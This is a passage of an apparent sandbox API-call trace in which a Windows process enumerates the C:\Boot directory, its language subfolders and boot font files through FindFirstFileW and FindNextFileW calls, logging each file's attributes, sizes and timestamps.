ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.397] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.397] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.397] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.397] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="en-US", cAlternateFileName="")) returned 1 [0272.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.398] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0272.398] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.398] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="es-ES", cAlternateFileName="")) returned 1 [0272.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.399] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.399] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.399] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.399] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.400] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.400] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0272.400] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.400] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.400] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.400] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.400] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.400] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.400] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Fonts", cAlternateFileName="")) returned 1 [0272.400] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.401] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0272.401] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.401] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0272.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.402] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.402] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.402] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.402] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.402] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.402] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0272.403] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.403] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.403] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.403] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.403] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.403] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.403] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="it-IT", cAlternateFileName="")) returned 1 [0272.403] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.404] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.404] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.404] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.404] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.404] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.404] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0272.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.404] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, 